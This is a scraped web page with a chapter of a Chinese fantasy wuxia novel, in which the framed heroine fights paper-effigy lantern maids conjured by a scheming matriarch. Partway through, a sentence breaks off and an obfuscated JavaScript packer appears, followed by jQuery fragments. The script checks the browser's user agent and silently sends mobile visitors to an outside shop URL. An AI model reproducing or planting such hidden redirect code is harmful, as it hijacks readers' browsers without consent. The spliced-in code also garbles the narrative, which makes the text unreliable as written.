文趣网 > 其他小说 > 镜中捉妖记 > 42. 童子钱(三)
    三年前,方询意与谢琮安因春闱相识。他家中贫穷,依靠天资过关斩将,却险些在赶考路上病死过去。谢琮安出身世家,却不轻视他是一介布衣,反而以诚相待。

    他生病的那些时日,谢琮安衣不解带的照料他。二人朝夕相处,秉性相投,未免生出许多越界的风月情愫。

    这些不该有的情愫和暧昧,很快被谢老夫人得知。谢家规矩森严,谢琮安是振兴谢家的唯一指望,谢老夫人亲见此事之后,怒不可遏。

    谢琮安以死相逼,保下方询意的性命,舍弃黄老之道,转而走向仕途。

    后来,上清童子来到三山楼,方询意心灰意冷,心生出家了断之意。上清童子忆及故人,决心帮他与谢琮安私奔。

    正所谓情如镜花水月,爱似琉璃易碎。世事无常,方询意并未等来谢琮安,只等来他将死的消息。

    至此,才有了今天这一番闹剧。

    众人听得入神,免不得啧啧称奇。茯苓附在尽夏耳畔:“小姐,我们得知如此密辛,还能活着出金陵城吗?”

    尽夏下意识地吞咽,她喉间干涩,犹如刀割:“好问题,我觉得人头不保。”

    “也许能留个全尸?”,逢春小声道。

    闲云悄声道:“眼下这个光景,你们说这些合适吗?”

    关棋轻叹一声:“求不得,爱别离,人生难得圆满长久。”

    方询意收了泪:“是我连累你们了。”

    尽夏不知如何安慰,只得转移话题:“那钱施与谢家的关系?”

    方询意刚想开口,表情却骤然凝重。尽夏不解,转头看去,谢老夫人不知何时竟悄无声息地站在他们背后。

    谢老夫人的身后站着一排提灯侍婢,她们皆低垂着头,神情木讷。

    谢老夫人须发皆白,但神态盎然。她手拄一根盘龙杖,是高祖皇帝表彰谢家平乱之功赠予她的。

    闲云眼皮一跳,关棋凑过来,悄声道:“谢老夫人不是残疾了吗?”

    谢老夫人睥睨着众人,冷笑道:“吴树生若是知道他的女儿是个贼,你说他该当如何?”

    众人皆是一愣,尽夏道:“老夫人,你何出此言?”

    谢老夫人的双眼像一口古井,浑浊又深邃:“你窃取我家祖传之宝青玉瓶,还将它给毁了,害了我孙儿性命。你不只毁了你自己,还毁了你父天下第一剑客的侠名,我今日便可处置了你。”

    尽夏恍然大悟,从谢琮安的昏迷到今日,都是谢老夫人设的一个局。

    她走到老夫人面前,带着几分不可置信:“老夫人,你煞费苦心,不惜残害自己的亲孙子,只为了给我安一个莫须有的罪名,到底是为了什么?”

    “你若能活下来,我便告诉你为什么?”

    老夫人阴测测地笑着,她手中的盘龙杖一挥,身后跟着的提灯侍女们齐刷刷抬头,视线直勾勾地盯住尽夏。

    提灯侍女们手中的灯笼不住的跳跃着,暖黄的烛火跃成青绿色,衬着她们惨白的脸,如同一个个纸扎人。

    不知何处飘来的大片乌云遮住破晓的日光,四周妖风大作,飞沙走石,天地之间漆黑一片。一团团绿色的鬼火飘荡在侍女们的手中,她们脚下生了风般,齐齐朝尽夏滑来。

    尽夏抽出长剑,转头道:“闲云,他们是冲我来的,你先带着他们跑。”

    可自己身后哪里还有人?

    霎时间,尽夏寒毛直竖,冷汗出了一身。来不及多想,那些提灯侍婢的猩红嘴唇裂到耳侧,手中的鬼火灯笼已然贴到自己面前。

    四周围绕着无数鬼火,冷气四溢。尽夏深吸口气,只得硬着头皮顶上去。

    提灯侍婢们将尽夏围住。为首一人伸手前探,瘦如鹰爪般的手指捏住尽夏的剑刃。手中的灯笼直朝尽夏面门击来,带起腐朽腥臭的风。

    尽夏脚跟半转,弯腰曲背躲过灯笼。她腰腹使力,将这侍婢飞旋出去。可那侍婢的手力气极大,连带着尽夏也跟着甩飞在地。

    尽夏直觉周身气血上涌,真气乱作一团,喉中满是咸腥。

    她撑住剑,蹒跚起身。尽夏看着眼前局面,心知对自己极为不利。谢老夫人不知是人是鬼,竟然有如此本领牵制住闲云而让自己身陷囹圄。

    她虽有武功,但真气浑浊,眼下只能拿命一搏。死亡?她原先是害怕的,但如今,再也不怕了。尽夏逼迫自己稳住心神,目视四周,方觉出一个缺口。

    尽夏再次提剑,脚跟踏出半个深坑,一跃而起,长剑刺入身侧的提灯侍婢的肩膀。

    她柳叶眉半挑,使了满身的力气,剑尖劈开的并非皮肉,而是一条深沟!

    尽夏大惊,提灯侍婢发了狂,举着灯笼朝尽夏挥来。长剑插在泥土中,尽夏撑着剑飞旋半个身位,一手扯过身后的一个侍婢,拿她做了挡箭牌。

    灯笼重如实心铁球,呼呼生风。下一瞬,被扯来的侍婢的头颅应声断裂,咕噜噜地滚在地上。却见那无头侍婢歪了歪脖子,手中的鬼灯冒出一缕青烟,灯火熄灭。

    尽夏恍然大悟,看来这些侍婢的致命弱点是头颅。但是方才的一番大动委实消耗自己的体力。她能感觉的真气疯狂地流窜在筋脉之间。

    尽夏给自己点了穴位,封住乱窜的真气,迫使它们郁结。但这也意味着她的功夫会被封住三成。

    七成功夫对付七个侍婢,尽夏只能背水一战。

    她引着一个侍婢追她到园中假山之后。尽夏轻巧钻出山洞,跳上假山。那侍婢乱了方向,围着假山绕来绕去。尽夏看准时机,从天而降,长剑寸入侍婢咽喉。

    尽夏瞪圆了眼,手腕一翻,一个大洞显露出来。可不知为何,这侍婢却不受任何影响。反而与尽夏近身缠斗起来。

    尽夏的手攥住那灯笼的提臂,想要卸去她的武器。可那鬼灯温度异常之高,尽夏的手刚搭上去,瞬时血流如注。

    刺骨的疼在她的手心处绽开,尽夏急退了几步,心道不好,此灯有毒!

    她急忙封住筋脉,可那侍婢的青黑色长手依然探到面门,尽夏慌乱抬手一挡,臂膀捅穿三个血淋淋的大洞。尽夏眼前狂闪金星,她晃了晃脑,剑刃削断了那侍婢的半条腿。

    余下侍婢把她围成铁桶一般。尽夏的额上浑如下了一场大雨。她知道越是这种时候,心越不能乱。

    尽夏一面调理内息,一面迫使自己回想是怎么打死那侍婢的。

    灯笼!尽夏的目光落在那鬼灯之上,她心中有了猜测,眼珠一转,计上心头。

    尽夏挥出剑气,剑气破出一条道来。她运功调息,掐了个剑诀,逗引一个侍婢追她。自己却可以向其他攻击的侍婢身后躲藏。果然,那些侍婢手忙脚乱。

    尽夏了然,她一转头,却见一汪池塘就在身旁。尽夏扯住一个侍婢的肩膀,那侍婢的头从前转到后。同时,她身后正有一个侍婢甩灯过来。

    尽夏冷哼一声,俯身一躲,那灯笼正中侍婢的脸庞,砸得五官糊作一团。侍婢果然倒进池塘之中,激起硕大的水花。

    无脸侍婢的身体缓缓消融在池塘中。尽夏看着眼前一幕,再回忆这些侍婢的种种迹象。莫非,她们当真是纸扎人?那谢老夫人?想到这儿,冷意蔓延心头。

    她摇摇头,眼下性命攸关,哪里是想这些神神鬼鬼的时候。尽夏叹了口气,转身便施展轻身功夫跳到水面之上。

    池塘之中,长养着朵朵荷叶,尽夏身如蜻蜓,轻轻巧巧地落在荷叶之上。

    荷叶左摇右摆,茎秆几欲折断。但尽夏轻身功夫甚好,她借力而站,转身回望余下的侍婢。她们齐齐站在岸上,一动不动。

    尽夏趁着空

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623034|203117||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    隙,终于喘了口气,再次调理紊乱的内息。随后,为首的侍婢果然如尽夏所料,跟着跃上荷叶。

    她们本就是纸扎人,身体轻,立在荷叶之上轻巧无物。三两下便要逼近尽夏。尽夏心道,就等你们跟来了。

    却见尽夏手中长剑银光一闪,她踏上面前荷叶,脚尖勾住池中的太湖石。

    她使出一招海中捞月,寒光掠过,为首侍婢脚下的荷叶茎秆咔嚓断折。那侍婢径自落入水中,再无声息。

    身后的侍婢踩着方才融在水里的纸扎人跳上了太湖石。尽夏稳住身形,翻落于水面之上,扭身便逃向荷丛。

    侍婢见状,以为得了赢面,手中灯笼甩过来,想要从背后击落尽夏。尽夏却好似后背长了双眼一样,早早料到她会如此出招,却见她斜在水面之上,硬生生躲过一击。

    只听砰的一声,想要夹击尽夏的侍婢被灯笼击中,和尽夏一齐落入水中。

    池塘之上,只剩下两个持灯侍婢。尽夏气喘吁吁地从水中探头,她顾不得身上湿漉漉的,鲤鱼打挺站了上来。

    持灯侍婢见她出水,蠢蠢欲动,但见尽夏立于荷叶之上,却不敢轻举妄动。尽夏的心狂跳得厉害,她气喘不止,眼眶烫如火石。

    只剩两个,她在心里不断重复着。血丝布了满眼,不见昔日灵动。尽夏知道自己不能久撑,只能速战速决。

    她用尽最后一点力气,跳上太湖石。侍婢毫不留情甩出灯笼,尽夏闪身便躲,石头四分五裂,侍婢和尽夏通通摔落湖中。

    尽夏扳住石壁,她心知岸上的持灯侍婢绝不会再下水。池水寒凉,自己的内伤加重,若是长久下去,尽夏定然是先被耗死的那一个。

    她攀上岸,手掌酸痛。受伤的掌心泡得皮肉泛白,眼下已经没了知觉。尽夏浑身发抖,可长剑还紧紧握着,哪怕臂膀近乎被洞穿。

    提灯侍婢已至近前,尽夏摇摇晃晃站起身来。她死命咬着嘴唇,唇瓣渗出鲜血。血的气味流窜在口腔中,唇瓣上的刺痛提醒着她,绝对不能屈服。

    尽夏大喝一声,提剑与侍婢缠斗起来。可在藏宝洞时,她本就损耗的厉害。如今经过一番殊死搏斗,加之自封了三成功力,哪里还有力气与这纸扎人做斗争。

    尽夏知道自己若是解开封印,便能勉力与她一敌,可到时自己也会爆体而亡。

    恍惚间,灯笼击打在手腕之上,长剑甩飞出去。尽夏闪身躲避,想要去捡长剑,可这一着急便乱了身法。

    侍婢看出她气力不支,已是油尽灯枯之兆,灯笼又重重扫中尽夏的小腿。

    这一击打,尽夏摔出五丈远,整个人撞在枯树之上。她只觉五脏六腑仿佛翻了个个儿,疼痛喷发在全身,一口口的鲜血呕出来,染红了泥土地面。

    尽夏的手指抠进泥土之中,想要支撑起身子。说时迟那时快,那提灯侍婢的夺命灯笼已在近前。尽夏匍匐在地,痛楚和酸胀灼烧着她的四肢。她再也没有抵抗的力气。

    四周的鬼火慢悠悠地围了过来,提灯侍婢的脚步声被放大到了极致。

    尽夏惨白的面上显出一丝笑,她喃喃道:“我命绝于此,不知是该哭,还是该笑。”

    空气里的静默威压着她最后的生气。提灯侍婢站在尽夏面前,她忽然对着尽夏轻轻笑了一笑。侍婢微微屈膝,行了一个礼。

    尽夏看着她,喉中发出气声。灯笼甩起的风声掠过耳畔,可比预想的死亡先到来的,却是一缕刺破黑暗的阳光。

    黑压压的天空撕破了一个口子,四周的鬼火飞速地逃窜旋转着。

    随着那道光跳进来的,是一柄穿破眼前侍婢头颅的宝剑。

    那柄剑闪着金光,四周环绕着金色符咒。侍婢的头啪嗒落在泥地之上,尽夏向前拼力爬去,面上不知是血还是泪,她落入了温暖的怀抱中。